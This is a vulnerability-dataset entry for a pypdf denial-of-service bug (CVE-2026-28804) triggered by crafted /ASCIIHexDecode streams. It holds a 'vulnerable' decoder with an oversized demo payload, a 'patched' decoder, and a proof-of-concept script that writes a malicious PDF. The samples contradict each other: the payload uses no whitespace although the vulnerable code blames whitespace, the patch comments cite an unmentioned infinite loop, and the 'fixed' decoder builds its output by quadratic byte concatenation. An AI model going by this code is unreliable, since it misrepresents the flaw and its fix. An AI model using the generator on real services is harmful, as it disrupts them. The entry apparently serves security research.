VAITP Dataset

← Back to the dataset

CVE-2026-28804

pypdf: Crafted PDF with /ASCIIHexDecode causes a denial of service.

  • CVSS 6.9
  • CWE-407
  • Resource Management
  • Remote

pypdf is a free and open-source pure-python PDF library. Prior to version 6.7.5, an attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires accessing a stream which uses the /ASCIIHexDecode filter. This issue has been patched in version 6.7.5.

CVSS base score
6.9
Published
2026-03-06
OWASP
A04 Insecure Design
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

Upgrade pypdf to version 6.7.5 or later.

Vulnerable code sample

import binascii
import re
import time

def decode_ascii_hex_vulnerable(data: bytes) -> bytes:
    """
    A representative implementation of the vulnerable ASCIIHexDecode logic
    prior to the fix in pypdf.

    The vulnerability is not in the hex decoding itself, but in the preparation
    of the data, which is highly inefficient for large inputs.
    """
    # 1. The entire stream is decoded into a Python string. If an attacker provides
    # a multi-gigabyte stream of whitespace, this alone consumes vast memory.
    try:
        hex_data = data.decode("latin-1")
    except Exception:
        # Failsafe for certain data, but the memory issue precedes this.
        return b""

    # 2. All invalid characters (whitespace, delimiters) are removed using regex.
    # On a multi-gigabyte string, this operation is extremely CPU-intensive and slow,
    # as it requires creating a new, enormous string in memory. This is the core
    # of the Denial-of-Service attack.
    cleaned_hex = re.sub(r"[^0-9a-fA-F]", "", hex_data)

    # 3. The PDF specification requires appending a "0" if the hex string has an
    # odd length.
    if len(cleaned_hex) % 2 != 0:
        cleaned_hex += "0"

    # 4. The final, cleaned hex string is converted to bytes.
    try:
        return binascii.unhexlify(cleaned_hex)
    except Exception:
        # In case of non-hex characters that somehow passed the regex.
        return b""


if __name__ == "__main__":
    # This block demonstrates the vulnerability.
    # We craft a payload that mimics a malicious PDF stream. It contains
    # very little actual data ("AB") but a huge amount of whitespace, which
    # the vulnerable function must process.

    # WARNING: A large number here will consume significant RAM and CPU.
    # 20 million spaces is enough to cause a noticeable delay of several seconds.
    # An attacker could use several billion.
    whitespace_count = 20_000_000
    
    print("Crafting malicious payload...")
    # The payload represents the hex for "AB" surrounded by millions of spaces.
    # The '<' and '>' are the PDF stream delimiters for hex data.
    payload = b"<41" + (b" " * whitespace_count) + b"42>"
    
    print(f"Payload size: {len(payload) / 1_000_000:.2f} MB")
    print("Executing vulnerable function. This will cause a long runtime...")

    start_time = time.time()
    try:
        decoded_content = decode_ascii_hex_vulnerable(payload)
        end_time = time.time()
        
        print(f"\nDecoding finished successfully.")
        print(f"Time elapsed: {end_time - start_time:.2f} seconds")
        print(f"Decoded content: {decoded_content}")

    except Exception as e:
        end_time = time.time()
        print(f"\nAn error occurred: {e}")
        print(f"Time elapsed before error: {end_time - start_time:.2f} seconds")

Patched code sample

import binascii
from typing import Any

# This code represents the patched version of the ASCIIHexDecode.decode method
# from the pypdf library. The vulnerability existed in how the data stream
# was processed. The fix involves iterating through the data character by
# character, correctly handling whitespace and the end-of-data (EOD) marker ('>'),
# and only processing valid hexadecimal characters. This prevents an infinite
# loop that could occur with a specially crafted PDF file.

class ASCIIHexDecode:
    """
    Decodes data encoded in ASCII hexadecimal form.
    """

    @staticmethod
    def decode(data: bytes, decode_parms: Any = None) -> bytes:
        """
        Filters data encoded in ASCII hexadecimal form, reproducing the
        original binary data.

        :param data: The data to be decoded.
        :param decode_parms: (not used)
        :return: The decoded data.
        """
        retval = b""
        hex_pair = b""
        for char in data:
            # All white-space characters are ignored.
            if char in b" \t\n\r\f\v":
                continue
            
            # The EOD character '>' indicates the end of the encoded data.
            if char == ord(b">"):
                break
            
            # Any other characters that are not valid hexadecimal digits
            # are also ignored.
            if char in b"0123456789abcdefABCDEF":
                hex_pair += bytes([char])
                if len(hex_pair) == 2:
                    retval += binascii.unhexlify(hex_pair)
                    hex_pair = b""
        
        # If the number of hexadecimal digits is odd, the filter behaves
        # as if a "0" digit were appended to the end of the data.
        if len(hex_pair) == 1:
            hex_pair += b"0"
            retval += binascii.unhexlify(hex_pair)
            
        return retval

Payload

import sys

# CVE-2026-28804 PoC Payload Generator
# The vulnerability is a DoS caused by processing a large stream with /ASCIIHexDecode.
# This script generates a minimal PDF containing such a stream.
#
# Usage: python generate_payload.py > malicious.pdf
#
# The size of the hex string can be adjusted. 20 million characters is sufficient
# to cause a significant slowdown on vulnerable versions of pypdf.

HEX_CHAR_COUNT = 20_000_000
DECODED_LENGTH = HEX_CHAR_COUNT // 2

# We write directly to stdout to handle large data without high memory usage
# and to allow easy redirection to a file.
output = sys.stdout.buffer

# 1. PDF Header
output.write(b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n\n")

# 2. PDF Objects
# We need to record the byte offset of each object for the xref table later.
offsets = {}

# Object 1: The malicious stream
offsets[1] = output.tell()
output.write(f"1 0 obj\n<< /Filter /ASCIIHexDecode /Length {DECODED_LENGTH} >>\nstream\n".encode('ascii'))
# Write the hex string in chunks to keep memory usage low
chunk = b'41' * 4096  # '41' is the hex for 'A'
for _ in range(HEX_CHAR_COUNT // len(chunk)):
    output.write(chunk)
output.write(b'41' * (HEX_CHAR_COUNT % len(chunk))) # Write any remaining part
output.write(b"\nendstream\nendobj\n\n")

# Object 2: Page object referencing the malicious content stream
offsets[2] = output.tell()
output.write(b"2 0 obj\n<< /Type /Page /Parent 3 0 R /Contents 1 0 R /MediaBox [0 0 612 792] >>\nendobj\n\n")

# Object 3: Pages collection object
offsets[3] = output.tell()
output.write(b"3 0 obj\n<< /Type /Pages /Kids [2 0 R] /Count 1 >>\nendobj\n\n")

# Object 4: Document Catalog
offsets[4] = output.tell()
output.write(b"4 0 obj\n<< /Type /Catalog /Pages 3 0 R >>\nendobj\n\n")

# 3. Cross-Reference Table (xref)
xref_offset = output.tell()
output.write(b"xref\n")
output.write(b"0 5\n")
output.write(b"0000000000 65535 f \n")
output.write(f"{offsets[1]:010d} 00000 n \n".encode('ascii'))
output.write(f"{offsets[2]:010d} 00000 n \n".encode('ascii'))
output.write(f"{offsets[3]:010d} 00000 n \n".encode('ascii'))
output.write(f"{offsets[4]:010d} 00000 n \n".encode('ascii'))

# 4. PDF Trailer
output.write(b"trailer\n")
output.write(b"<< /Size 5 /Root 4 0 R >>\n")
output.write(b"startxref\n")
output.write(f"{xref_offset}\n".encode('ascii'))
output.write(b"%%EOF\n")

Cite this entry

@misc{vaitp:cve202628804,
  title        = {{pypdf: Crafted PDF with /ASCIIHexDecode causes a denial of service.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-28804},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-28804/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::